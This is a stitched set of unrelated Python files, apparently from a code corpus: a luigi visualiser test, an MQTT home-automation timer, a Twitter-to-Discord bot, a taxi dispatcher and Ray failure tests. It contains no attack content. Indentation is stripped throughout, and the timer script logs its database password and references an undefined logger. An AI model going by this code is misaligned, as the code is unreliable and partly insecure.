unit = TestCase(**body)
return unit
except:
self._logger.error("Exception occured while fetching the test case with id: %s" %id)
return
def fetch(self, offset:int=0, limit:int=25) -> Optional[Sequence[TestCase]]:
try:
test_cases = []
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
while True:
self._client.request("GET", "/{}/regression/testcase?app={}&offset={}&limit={}".format(self._config.server.suffix, self._config.app.name, offset, limit), None, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("Error occured while fetching test cases. Please try again.")
return
body = json.loads(response.read().decode())
if body:
for idx, case in enumerate(body):
body[idx] = TestCase(**case)
test_cases.extend(body)
offset += limit
else:
break
return test_cases
except:
self._logger.exception("Exception occured while fetching test cases.")
return
def test(self):
passed = True
time.sleep(self._config.app.delay)
self._logger.info("Started test operations on the captured test cases.")
cases = self.fetch()
count = len(cases)
self._logger.info("Total number of test cases to be checked = %d" %count)
run_id = self.start(count)
if not run_id:
return
self._logger.info("Started with testing...")
for case in cases:
ok = self.check(run_id, case)
if not ok:
passed = False
self._logger.info("Finished with testing...")
self._logger.info("Cleaning up things...")
self.end(run_id, passed)
return passed
|
visualiser_test.py
|
"""
Test the visualiser's javascript using PhantomJS.
"""
from __future__ import print_function
import os
import luigi
import subprocess
import sys
import unittest
import time
import threading
from selenium import webdriver
here = os.path.dirname(__file__)
# Patch-up path so that we can import from the directory above this one.r
# This seems to be necessary because the `test` directory has no __init__.py but
# adding one makes other tests fail.
sys.path.append(os.path.join(here, '..'))
from server_test import ServerTestBase # noqa
TEST_TIMEOUT = 40
@unittest.skipUnless(os.environ.get('TEST_VISUALISER'),
'PhantomJS tests not requested in TEST_VISUALISER')
class TestVisualiser(ServerTestBase):
"""
Builds a medium-sized task tree of MergeSort results then starts
phantomjs as a subprocess to interact with the scheduler.
"""
def setUp(self):
super(TestVisualiser, self).setUp()
x = 'I scream for ice cream'
task = UberTask(base_task=FailingMergeSort, x=x, copies=4)
luigi.build([task], workers=1, scheduler_port=self.get_http_port())
self.done = threading.Event()
def _do_ioloop():
# Enter ioloop for maximum TEST_TIMEOUT. Check every 2s whether the test has finished.
print('Entering event loop in separate thread')
for i in range(TEST_TIMEOUT):
try:
self.wait(timeout=1)
except AssertionError:
pass
if self.done.is_set():
break
print('Exiting event loop thread')
self.iothread = threading.Thread(target=_do_ioloop)
self.iothread.start()
def tearDown(self):
self.done.set()
self.iothread.join()
def test(self):
port = self.get_http_port()
print('Server port is {}'.format(port))
print('Starting phantomjs')
p = subprocess.Popen('phantomjs {}/phantomjs_test.js http://localhost:{}'.format(here, port),
shell=True, stdin=None)
# PhantomJS may hang on an error so poll
status = None
for x in range(TEST_TIMEOUT):
status = p.poll()
if status is not None:
break
time.sleep(1)
if status is None:
raise AssertionError('PhantomJS failed to complete')
else:
print('PhantomJS return status is {}'.format(status))
assert status == 0
# tasks tab tests.
def test_keeps_entries_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}'.format(port))
length_select = driver.find_element_by_css_selector('select[name="taskTable_length"]')
assert length_select.get_attribute('value') == '10'
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 10
# Now change entries select box and check again.
clicked = False
for option in length_select.find_elements_by_css_selector('option'):
if option.text == '50':
option.click()
clicked = True
break
assert clicked, 'Could not click option with "50" entries.'
assert length_select.get_attribute('value') == '50'
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 50
# Now refresh page and check. Select box should be 50 and table should contain 50 rows.
driver.refresh()
# Once page refreshed we have to find all selectors again.
length_select = driver.find_element_by_css_selector('select[name="taskTable_length"]')
assert length_select.get_attribute('value') == '50'
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 50
def test_keeps_table_filter_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}'.format(port))
# Check initial state.
search_input = driver.find_element_by_css_selector('input[type="search"]')
assert search_input.get_attribute('value') == ''
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 10
# Now filter and check filtered table.
search_input.send_keys('ber')
# UberTask only should be displayed.
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 1
# Now refresh page and check. Filter input should contain 'ber' and table should contain
# one row (UberTask).
driver.refresh()
# Once page refreshed we have to find all selectors again.
search_input = driver.find_element_by_css_selector('input[type="search"]')
assert search_input.get_attribute('value') == 'ber'
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 1
def test_keeps_order_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}'.format(port))
# Order by name (asc).
column = driver.find_elements_by_css_selector('#taskTable thead th')[1]
column.click()
table_body = driver.find_element_by_css_selector('#taskTable tbody')
assert self._get_cell_value(table_body, 0, 1) == 'FailingMergeSort_0'
# Ordery by name (desc).
column.click()
assert self._get_cell_value(table_body, 0, 1) == 'UberTask'
# Now refresh page and check. Table should be ordered by name (desc).
driver.refresh()
# Once page refreshed we have to find all selectors again.
table_body = driver.find_element_by_css_selector('#taskTable tbody')
assert self._get_cell_value(table_body, 0, 1) == 'UberTask'
def test_keeps_filter_on_server_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}/static/visualiser/index.html#tab=tasks'.format(port))
# Check initial state.
checkbox = driver.find_element_by_css_selector('#serverSideCheckbox')
assert checkbox.is_selected() is False
# Change invert checkbox.
checkbox.click()
# Now refresh page and check. Invert checkbox shoud be checked.
driver.refresh()
# Once page refreshed we have to find all selectors again.
checkbox = driver.find_element_by_css_selector('#serverSideCheckbox')
assert checkbox.is_selected()
def test_synchronizes_fields_on_tasks_tab(self):
# Check fields population if tasks tab was opened by direct link
port = self.get_http_port()
driver = webdriver.PhantomJS()
url = 'http://localhost:{}/static/visualiser/index.html' \
'#tab=tasks&length=50&search__search=er&filterOnServer=1&order=1,desc' \
.format(port)
driver.get(url)
length_select = driver.find_element_by_css_selector('select[name="taskTable_length"]')
assert length_select.get_attribute('value') == '50'
search_input = driver.find_element_by_css_selector('input[type="search"]')
assert search_input.get_attribute('value') == 'er'
assert len(driver.find_elements_by_css_selector('#taskTable tbody tr')) == 50
# Table is ordered by first column (name)
table_body = driver.find_element_by_css_selector('#taskTable tbody')
assert self._get_cell_value(table_body, 0, 1) == 'UberTask'
# graph tab tests.
def test_keeps_invert_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}/static/visualiser/index.html#tab=graph'.format(port))
# Check initial state.
invert_checkbox = driver.find_element_by_css_selector('#invertCheckbox')
assert invert_checkbox.is_selected() is False
# Change invert checkbox.
invert_checkbox.click()
# Now refresh page and check. Invert checkbox shoud be checked.
driver.refresh()
# Once page refreshed we have to find all selectors again.
invert_checkbox = driver.find_element_by_css_selector('#invertCheckbox')
assert invert_checkbox.is_selected()
def test_keeps_task_id_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}/static/visualiser/index.html#tab=graph'.format(port))
# Check initial state.
task_id_input = driver.find_element_by_css_selector('#js-task-id')
assert task_id_input.get_attribute('value') == ''
# Change task id
task_id_input.send_keys('1')
driver.find_element_by_css_selector('#loadTaskForm button[type=submit]').click()
# Now refresh page and check. Task ID field should contain 1
driver.refresh()
# Once page refreshed we have to find all selectors again.
task_id_input = driver.find_element_by_css_selector('#js-task-id')
assert task_id_input.get_attribute('value') == '1'
def test_keeps_hide_done_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}/static/visualiser/index.html#tab=graph'.format(port))
# Check initial state.
hide_done_checkbox = driver.find_element_by_css_selector('#hideDoneCheckbox')
assert hide_done_checkbox.is_selected() is False
# Change invert checkbox.
hide_done_checkbox.click()
# Now refresh page and check. Invert checkbox shoud be checked.
driver.refresh()
# Once page refreshed we have to find all selectors again.
hide_done_checkbox = driver.find_element_by_css_selector('#hideDoneCheckbox')
assert hide_done_checkbox.is_selected()
def test_keeps_visualisation_type_after_page_refresh(self):
port = self.get_http_port()
driver = webdriver.PhantomJS()
driver.get('http://localhost:{}/static/visualiser/index.html#tab=graph'.format(port))
# Check initial state.
svg_radio = driver.find_element_by_css_selector('input[value=svg]')
assert svg_radio.is_selected()
# Change vistype to d3 by clicking on its label.
d3_radio = driver.find_element_by_css_selector('input[value=d3]')
d3_radio.find_element_by_xpath('..').click()
# Now refresh page and check. D3 checkbox shoud be checked.
driver.refresh()
# Once page refreshed we have to find all selectors again.
d3_radio = driver.find_element_by_css_selector('input[value=d3]')
assert d3_radio.is_selected()
def test_synchronizes_fields_on_graph_tab(self):
# Check fields population if tasks tab was opened by direct link.
port = self.get_http_port()
driver = webdriver.PhantomJS()
url = 'http://localhost:{}/static/visualiser/index.html' \
'#tab=graph&taskId=1&invert=1&hideDone=1&visType=svg' \
.format(port)
driver.get(url)
# Check task id input
task_id_input = driver.find_element_by_css_selector('#js-task-id')
assert task_id_input.get_attribute('value') == '1'
# Check Show Upstream Dependencies checkbox.
invert_checkbox = driver.find_element_by_css_selector('#invertCheckbox')
assert invert_checkbox.is_selected()
# Check Hide Done checkbox.
hide_done_checkbox = driver.find_element_by_css_selector('#hideDoneCheckbox')
assert hide_done_checkbox.is_selected()
svg_radio = driver.find_element_by_css_selector('input[value=svg]')
assert svg_radio.get_attribute('checked')
def _get_cell_value(self, elem, row, column):
tr = elem.find_elements_by_css_selector('#taskTable tbody tr')[row]
td = tr.find_elements_by_css_selector('td')[column]
return td.text
# ---------------------------------------------------------------------------
# Code for generating a tree of tasks with some failures.
def generate_task_families(task_class, n):
"""
Generate n copies of a task with different task_family names.
:param task_class: a subclass of `luigi.Task`
:param n: number of copies of `task_class` to create
:return: Dictionary of task_family => task_class
"""
ret = {}
for i in range(n):
class_name = '{}_{}'.format(task_class.task_family, i)
ret[class_name] = type(class_name, (task_class,), {})
return ret
class UberTask(luigi.Task):
"""
A task which depends on n copies of a configurable subclass.
"""
_done = False
base_task = luigi.TaskParameter()
x = luigi.Parameter()
copies = luigi.IntParameter()
def requires(self):
task_families = generate_task_families(self.base_task, self.copies)
for class_name in task_families:
yield task_families[class_name](x=self.x)
def complete(self):
return self._done
def run(self):
self._done = True
def popmin(a, b):
"""
popmin(a, b) -> (i, a', b')
where i is min(a[0], b[0]) and a'/b' are the results of removing i from the
relevant sequence.
"""
if len(a) == 0:
return b[0], a, b[1:]
elif len(b) == 0:
return a[0], a[1:], b
elif a[0] > b[0]:
return b[0], a, b[1:]
else:
return a[0], a[1:], b
class MemoryTarget(luigi.Target):
def __init__(self):
self.box = None
def exists(self):
return self.box is not None
class MergeSort(luigi.Task):
x = luigi.Parameter(description='A string to be sorted')
def __init__(self, *args, **kwargs):
super(MergeSort, self).__init__(*args, **kwargs)
self.result = MemoryTarget()
def requires(self):
# Allows us to override behaviour in subclasses
cls = self.__class__
if len(self.x) > 1:
p = len(self.x) // 2
return [cls(self.x[:p]), cls(self.x[p:])]
def output(self):
return self.result
def run(self):
if len(self.x) > 1:
list_1, list_2 = (x.box for x in self.input())
s = []
while list_1 or list_2:
item, list_1, list_2 = popmin(list_1, list_2)
s.append(item)
else:
s = self.x
self.result.box = ''.join(s)
class FailingMergeSort(MergeSort):
"""
Simply fail if the string to sort starts with ' '.
"""
fail_probability = luigi.FloatParameter(default=0.)
def run(self):
if self.x[0] == ' ':
raise Exception('I failed')
else:
return super(FailingMergeSort, self).run()
if __name__ == '__main__':
x = 'I scream for ice cream'
task = UberTask(base_task=FailingMergeSort, x=x, copies=4)
luigi.build([task], workers=1, scheduler_port=8082)
|
timer.py
|
#Version 1.1
import sys
sys.path.append('/var/www/html/modules/libraries')
import schedule
import time
import pytz
from astral import *
import datetime
import os
import subprocess
import mysql.connector
import threading
import paho.mqtt.client as mqtt
import random
file = open('/var/www/html/config.php', 'r')
for line in file:
if "db_name" in line: MySQL_database = line.split('"')[3]
elif "db_user" in line: MySQL_username = line.split('"')[3]
elif "db_password" in line: MySQL_password = line.split('"')[3]
elif "db_host" in line: MySQL_host = line.split('"')[3]
cnx = mysql.connector.connect(user=MySQL_username,password=MySQL_password,database=MySQL_database)
cursor = cnx.cursor()
query = ("SELECT Setting,value FROM Settings")
cursor.execute(query)
for (Setting, value) in cursor:
if Setting == "MQTT_ip_address":
MQTT_ip_address = value
elif Setting == "MQTT_port_python":
MQTT_port = value
elif Setting == "loglevel":
Loglevel = value
elif Setting == "Location":
city_name = value
cursor.close()
cnx.close()
debug = "DEBUG"
info = "INFO"
TimerService = "timer"
def printLog(level,message):
if (level.upper() == Loglevel.upper() or (level.upper() == info.upper() and Loglevel.upper() == debug.upper())):
print(level +"["+str(datetime.datetime.now().strftime('%Y/%m/%d %H:%M:%S')) + "]: " +str(message))
printLog(info,"timer started!")
printLog(debug,MySQL_database)
printLog(debug,MySQL_username)
printLog(debug,MySQL_password)
printLog(debug,MySQL_host)
printLog(debug,MQTT_ip_address)
printLog(debug,MQTT_port)
printLog(debug,Loglevel)
printLog(debug,TimerService)
EverydayList = []
MondayList = []
TuesdayList = []
WednesdayList = []
ThursdayList = []
FridayList = []
SaturdayList = []
SundayList = []
def restart():
printLog(info,TimerService +" service has been restarted by the script")
subprocess.call(["sudo", "supervisorctl", "restart" ,TimerService])
def on_connect(mqttc, obj, rc):
printLog(debug,"rc: "+str(rc))
def on_message(mqttc, obj, msg):
restart();
def on_publish(mqttc, obj, mid):
printLog(debug,"mid: "+str(mid))
def on_subscribe(mqttc, obj, mid, granted_qos):
printLog(debug,"Subscribed: "+str(mid)+" "+str(granted_qos))
def on_log(mqttc, obj, level, string):
printLog(debug,string)
def on_disconnect(client, userdata, rc):
logger.printLog(info, "on_disconnect!", str(logger.get_linenumber()))
exit()
def calcSunTime(type,adjustment):
a = Astral()
date = datetime.date.today()
city = a[city_name]
# sunriseTmp = a.sunrise_utc(date,50.813826,5.008213)
sun = city.sun(date, local=True)
strSunRiseMin = "0" + str(sun[type].minute)
strSunRiseHour = "0" + str(sun[type].hour)
Minutes = int(strSunRiseHour[-2:])*60 + int(strSunRiseMin[-2:])
DefMinutes = Minutes + adjustment
CalcHours = DefMinutes // 60
CalcMinutes = DefMinutes - CalcHours * 60
printLog(debug,"set_sunrise() "+"%d:%02d" % (CalcHours, CalcMinutes))
return "%d:%02d" % (CalcHours, CalcMinutes)
def setAdjustment(Time):
adjustment = 0
if "+" in Time:
tmp,adjustment = Time.split("+")
elif "-" in Time:
tmp,adjustment = Time.split("-")
adjustment = -int(adjustment);
printLog(debug,"setAdjustment() "+str(adjustment))
return int(adjustment)
mqttc = mqtt.Client()
mqttc.on_message = on_message
mqttc.on_connect = on_connect
mqttc.on_publish = on_publish
mqttc.on_subscribe = on_subscribe
mqttc.on_disconnect = on_disconnect
# Uncomment to enable debug messages
#mqttc.on_log = on_log
running = True
while running:
try:
mqttc.connect(MQTT_ip_address,int(MQTT_port), 60)
running = False
except:
printLog(info,"Sleep")
time.sleep(5)
printLog(info,"Connected")
mqttc.publish("StatsService/service/cleanup", 0, False)
mqttc.subscribe(TimerService + "/service/restart", 0)
cnx = mysql.connector.connect(host=MySQL_host,user=MySQL_username,password=MySQL_password,database=MySQL_database)
cursor = cnx.cursor()
cursor.execute("SELECT Timer_Actions.Naam, Time,Time2, Random, Timer_Day,Core_vButtonDB.arduino, Core_vButtonDB.pin FROM Timer_Actions inner join Core_vButtonDB on Timer_Actions.Core_vButton_id = Core_vButtonDB.id WHERE enabled = 1")
for (Naam, Time,Time2,Random, Timer_Day,arduino,pin) in cursor:
if "sunrise" in Time:
Time = calcSunTime('sunrise',setAdjustment(Time))
elif "sunset"in Time:
Time = calcSunTime('sunset',setAdjustment(Time))
if "sunrise" in Time2:
Time2 = calcSunTime('sunrise',setAdjustment(Time2))
elif "sunset"in Time2:
Time2 = calcSunTime('sunset',setAdjustment(Time2))
if Random == 1:
hour1,min1 = Time.split(":")
hour2,min2 = Time2.split(":")
Minuts1 = (int(hour1) * 60) + int(min1)
Minuts2 = (int(hour2) * 60) + int(min2)
if Minuts1 > Minuts2:
TmpMinuts2 = Minuts2
Minuts2 = Minuts1
Minuts1 = TmpMinuts2
rdmmin = random.randrange(Minuts1, Minuts2)
hours = rdmmin // 60
minutes = rdmmin - hours * 60
Time = "%d:%02d" % (hours, minutes)
if Timer_Day == "1|2|3|4|5|6|7":
EverydayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
else:
Days = Timer_Day.split("|")
for Day in Days:
if Day == "1":
MondayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
elif Day == "2":
TuesdayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
elif Day == "3":
WednesdayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
elif Day == "4":
ThursdayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
elif Day == "5":
FridayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
elif Day == "6":
SaturdayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
elif Day == "7":
SundayList.append(str(Naam) + "|" + str(Time) + "|" + str(arduino) + "|" + str(pin))
cursor.close()
cnx.close()
def Time():
printLog(debug,"Time() "+"[" + str(datetime.datetime.now()) + "] ")
return "[" + str(datetime.datetime.now()) + "] "
def run_threaded(func, parm):
threading.Thread(target=func, args=parm).start()
def Toggle(Naam,Arduino,Pin):
mqttc.publish("arduino"+Arduino+"/button"+Pin+"/status", "L", 0, False)
mqttc.publish("arduino"+Arduino+"/button"+Pin+"/status", "H", 0, False)
printLog(debug,"Toggle() "+"[" + str(datetime.datetime.now()) + "] arduino"+Arduino+"/button"+Pin+"/Triggerd")
def scheduleDay(List,Day):
for timer in List:
naam,Time,arduino,pin = timer.split("|")
args = (naam , arduino , pin)
kw = {
"func": Toggle,
"parm": args,
}
if Day == 0:
schedule.every().day.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every day: " + naam + " on : " + Time)
elif Day == 1:
schedule.every().monday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Monday: " + naam + " on : " + Time)
elif Day == 2:
schedule.every().tuesday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Tuesday: " + naam + " on : " + Time)
elif Day == 3:
schedule.every().wednesday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Wednesday: " + naam + " on : " + Time)
elif Day == 4:
schedule.every().thursday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Thursday: " + naam + " on : " + Time)
elif Day == 5:
schedule.every().friday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Friday: " + naam + " on : " + Time)
elif Day == 6:
schedule.every().saturday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Saturday: " + naam + " on : " + Time)
elif Day == 7:
schedule.every().sunday.at(Time).do(run_threaded, **kw)
printLog(info,"Scheduled every Sunday: " + naam + " on : " + Time)
check = False
#Schedule Days
scheduleDay(EverydayList,0)
scheduleDay(MondayList,1)
scheduleDay(TuesdayList,2)
scheduleDay(WednesdayList,3)
scheduleDay(ThursdayList,4)
scheduleDay(FridayList,5)
scheduleDay(SaturdayList,6)
scheduleDay(SundayList,7)
#Needed for recalculating sunrise & sunset
schedule.every().day.at("00:00").do(restart)
printLog(info,"Scheduled every day: RESET on : 00:00")
while True:
schedule.run_pending()
mqttc.loop()
|
sneeze-translator.py
|
#!/usr/bin/env python
# sneeze-translator/sneeze-translator.py
from Processor import Processor
import os
import json
from dotenv import load_dotenv
import logging
import discord
import tweepy
from tweepy.streaming import StreamListener
from time import strftime
from datetime import datetime
from queue import Queue
from threading import Thread
import urllib3.exceptions
from config import create_api
load_dotenv()
DISCORD_TOKEN = os.environ['DISCORD_TOKEN']
WH_URL = os.environ['WH_URL']
USERS = [
'1321879104317132800',
'1108236843466711043',
'1430575943433691154',
'1276939850885656576',
'1345372835254992896',
'1041912206583984130',
'1325769100803534849',
'1041915108069261313',
]
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger()
class TweetStreamListener(StreamListener):
def __init__(self, api, q=Queue()):
super().__init__()
#self.api = api
#self.me = api.me()
self.color = 0
num_worker_threads = 4
self.q = q
for i in range(num_worker_threads):
t = Thread(target=self._on_status)
t.daemon = True
t.start()
def _on_status(self):
while True:
data = self.q.get()._json
tweet_id = data["id"]
date_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
logger.info(f"[{date_time}] Processing tweet id {tweet_id}")
if data["user"]["id_str"] in USERS:
if data["user"]["id_str"] == '1321879104317132800':
self.color = 5991156
elif data["user"]["id_str"] == '1108236843466711043':
self.color = 5991156
elif data["user"]["id_str"] == '1276939850885656576':
self.color = 255212216
elif data["user"]["id_str"] == '1345372835254992896':
self.color = 255212216
elif data["user"]["id_str"] == '1041912206583984130':
self.color = 18650111
elif data["user"]["id_str"] == '1325769100803534849':
self.color = 191182200
elif data["user"]["id_str"] == '1041915108069261313':
self.color = 191182200
elif data["user"]["id_str"] == '1430575943433691154':
self.color = 14177041
else:
self.color = 1127128
date_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
logger.info(f"[{date_time}] Match")
p = Processor(status_tweet=data)
p.create_embed(self.color)
p.attach_field()
p.attach_media()
p.attach_translation()
p.send_message(WH_URL)
else:
date_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
logger.info(f"[{date_time}] No match")
self.q.task_done()
def on_status(self, tweet):
self.q.put(tweet)
def on_error(self, status):
logger.error(status)
if __name__ == "__main__":
api = create_api()
tweets_listener = TweetStreamListener(api)
stream = tweepy.Stream(api.auth, tweets_listener)
stream.filter(follow=USERS, is_async=True, stall_warnings=True)
|
main.py
|
from .config import Config
from .db import cursor
from .app import taxi_search
from threading import Thread
TOTAL_TAXI = Config().total_taxi
def _handle_taxi_messages():
taxi_search.track_taxi_position()
def _handle_passenger_messages():
taxi_search.handle_passenger_request()
if __name__ == '__main__':
# Initialize taxi position entries in database
if cursor.get_row_count() == 0:
cursor.create_account(TOTAL_TAXI)
thread1 = Thread(target = _handle_taxi_messages)
thread2 = Thread(target = _handle_passenger_messages)
# The threads will be killed if the main thread exits
# Do this in case we want to terminate the program suddenly like Ctrl+C
thread1.daemon = True
thread2.daemon = True
thread1.start()
thread2.start()
thread1.join()
thread2.join()
|
test_failure.py
|
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import json
import logging
import os
import sys
import tempfile
import threading
import time
import numpy as np
import pytest
import redis
import ray
import ray.ray_constants as ray_constants
from ray.cluster_utils import Cluster
from ray.test_utils import (
relevant_errors,
wait_for_errors,
RayTestTimeoutException,
)
RAY_FORCE_DIRECT = bool(os.environ.get("RAY_FORCE_DIRECT"))
def test_failed_task(ray_start_regular):
@ray.remote
def throw_exception_fct1():
raise Exception("Test function 1 intentionally failed.")
@ray.remote
def throw_exception_fct2():
raise Exception("Test function 2 intentionally failed.")
@ray.remote(num_return_vals=3)
def throw_exception_fct3(x):
raise Exception("Test function 3 intentionally failed.")
throw_exception_fct1.remote()
throw_exception_fct1.remote()
wait_for_errors(ray_constants.TASK_PUSH_ERROR, 2)
assert len(relevant_errors(ray_constants.TASK_PUSH_ERROR)) == 2
for task in relevant_errors(ray_constants.TASK_PUSH_ERROR):
msg = task.get("message")
assert "Test function 1 intentionally failed." in msg
x = throw_exception_fct2.remote()
try:
ray.get(x)
except Exception as e:
assert "Test function 2 intentionally failed." in str(e)
else:
# ray.get should throw an exception.
assert False
x, y, z = throw_exception_fct3.remote(1.0)
for ref in [x, y, z]:
try:
ray.get(ref)
except Exception as e:
assert "Test function 3 intentionally failed." in str(e)
else:
# ray.get should throw an exception.
assert False
class CustomException(ValueError):
pass
@ray.remote
def f():
raise CustomException("This function failed.")
try:
ray.get(f.remote())
except Exception as e:
assert "This function failed." in str(e)
assert isinstance(e, CustomException)
assert isinstance(e, ray.exceptions.RayTaskError)
assert "RayTaskError(CustomException)" in repr(e)
else:
# ray.get should throw an exception.
assert False
def test_fail_importing_remote_function(ray_start_2_cpus):
# Create the contents of a temporary Python file.
temporary_python_file = """
def temporary_helper_function():
return 1
"""
f = tempfile.NamedTemporaryFile(suffix=".py")
f.write(temporary_python_file.encode("ascii"))
f.flush()
directory = os.path.dirname(f.name)
# Get the module name and strip ".py" from the end.
module_name = os.path.basename(f.name)[:-3]
sys.path.append(directory)
module = __import__(module_name)
# Define a function that closes over this temporary module. This should
# fail when it is unpickled.
@ray.remote
def g():
try:
module.temporary_python_file()
except Exception:
# This test is not concerned with the error from running this
# function. Only from unpickling the remote function.
pass
# Invoke the function so that the definition is exported.
g.remote()
wait_for_errors(ray_constants.REGISTER_REMOTE_FUNCTION_PUSH_ERROR, 2)
errors = relevant_errors(ray_constants.REGISTER_REMOTE_FUNCTION_PUSH_ERROR)
assert len(errors) == 2
assert "No module named" in errors[0]["message"]
assert "No module named" in errors[1]["message"]
# Check that if we try to call the function it throws an exception and
# does not hang.
for _ in range(10):
with pytest.raises(Exception):
ray.get(g.remote())
f.close()
# Clean up the junk we added to sys.path.
sys.path.pop(-1)
def test_failed_function_to_run(ray_start_2_cpus):
def f(worker):
if ray.worker.global_worker.mode == ray.WORKER_MODE:
raise Exception("Function to run failed.")
ray.worker.global_worker.run_function_on_all_workers(f)
wait_for_errors(ray_constants.FUNCTION_TO_RUN_PUSH_ERROR, 2)
# Check that the error message is in the task info.
errors = relevant_errors(ray_constants.FUNCTION_TO_RUN_PUSH_ERROR)
assert len(errors) == 2
assert "Function to run failed." in errors[0]["message"]
assert "Function to run failed." in errors[1]["message"]
def test_fail_importing_actor(ray_start_regular):
# Create the contents of a temporary Python file.
temporary_python_file = """
def temporary_helper_function():
return 1
"""
f = tempfile.NamedTemporaryFile(suffix=".py")
f.write(temporary_python_file.encode("ascii"))
f.flush()
directory = os.path.dirname(f.name)
# Get the module name and strip ".py" from the end.
module_name = os.path.basename(f.name)[:-3]
sys.path.append(directory)
module = __import__(module_name)
# Define an actor that closes over this temporary module. This should
# fail when it is unpickled.
@ray.remote
class Foo(object):
def __init__(self):
self.x = module.temporary_python_file()
def get_val(self):
return 1
# There should be no errors yet.
assert len(ray.errors()) == 0
# Create an actor.
foo = Foo.remote()
# Wait for the error to arrive.
wait_for_errors(ray_constants.REGISTER_ACTOR_PUSH_ERROR, 1)
errors = relevant_errors(ray_constants.REGISTER_ACTOR_PUSH_ERROR)
assert "No module named" in errors[0]["message"]
# Wait for the error from when the __init__ tries to run.
wait_for_errors(ray_constants.TASK_PUSH_ERROR, 1)
errors = relevant_errors(ray_constants.TASK_PUSH_ERROR)
assert ("failed to be imported, and so cannot execute this method" in
errors[0]["message"])
# Check that if we try to get the function it throws an exception and
# does not hang.
with pytest.raises(Exception):
ray.get(foo.get_val.remote())
# Wait for the error from when the call to get_val.
wait_for_errors(ray_constants.TASK_PUSH_ERROR, 2)
errors = relevant_errors(ray_constants.TASK_PUSH_ERROR)
assert ("failed to be imported, and so cannot execute this method" in
errors[1]["message"])
f.close()
# Clean up the junk we added to sys.path.
sys.path.pop(-1)
def test_failed_actor_init(ray_start_regular):
error_message1 = "actor constructor failed"
error_message2 = "actor method failed"
@ray.remote
class FailedActor(object):
def __init__(self):
raise Exception(error_message1)
def fail_method(self):
raise Exception(error_message2)
a = FailedActor.remote()
# Make sure that we get errors from a failed constructor.
wait_for_errors(ray_constants.TASK_PUSH_ERROR, 1)
errors = relevant_errors(ray_constants.TASK_PUSH_ERROR)
assert len(errors) == 1
assert error_message1 in errors[0]["message"]
# Make sure that we get errors from a failed method.
a.fail_method.remote()
wait_for_errors(ray_constants.TASK_PUSH_ERROR, 2)
errors = relevant_errors(ray_constants.TASK_PUSH_ERROR)
assert len(errors) == 2
assert error_message1 in errors[1]["message"]
def test_failed_actor_method(ray_start_regular):
error_message2 = "actor method failed"
@ray.remote
class FailedActor(object):
def __init__(self):
pass
def fail_method(self):
raise Exception(error_message2)
a = FailedActor.remote()
# Make sure that we get errors from a failed method.
a.fail_method.remote()
wait_for_errors(ray_constants.TASK_PUSH_ERROR, 1)
errors = relevant_errors(ray_constants.TASK_PUSH_ERROR)
assert len(errors) == 1
assert error_message2 in errors[0]["message"]
def test_incorrect_method_calls(ray_start_regular):
@ray.remote
class Actor(object):
def __init__(self, missing_variable_name):
pass
def get_val(self, x):
pass
# Make sure that we get errors if we call the constructor incorrectly.
# Create an actor with too few arguments.
with pytest.raises(Exception):
a = Actor.remote()
# Create an actor with too many arguments.
with pytest.raises(Exception):
a = Actor.remote(1, 2)
# Create an actor the correct number of arguments.
a = Actor.remote(1)
# Call a method with too few arguments.
with pytest.raises(Exception):
a.get_val.remote()
# Call a method with too many arguments.
with pytest.raises(Exception):
a.get_val.remote(1, 2)
# Call a method that doesn't exist.
with pytest.raises(AttributeError):
a.nonexistent_method()
with pytest.raises(AttributeError):
a.nonexistent_method.remote()
def test_worker_raising_exception(ray_start_regular):
@ray.remote
def f():
# This is the only reasonable variable we can set here that makes the
# execute_task function fail after the task got executed.
ray.experimental.signal.reset = None
# Running this task should cause the worker to raise an exception after
# the task has successfully completed.
f.remote()
wait_for_errors(ray_constants.WORKER_CRASH_PUSH_ERROR, 1)
def test_worker_dying(ray_start_regular):
# Define a remote function that will kill the worker that runs it.
@ray.remote(max_retries=0)
def f():
eval("exit()")
with pytest.raises(ray.exceptions.RayWorkerError):
ray.get(f.remote())
wait_for_errors(ray_constants.WORKER_DIED_PUSH_ERROR, 1)
errors = relevant_errors(ray_constants.WORKER_DIED_PUSH_ERROR)
assert len(errors) == 1
assert "died or was killed while executing" in errors[0]["message"]
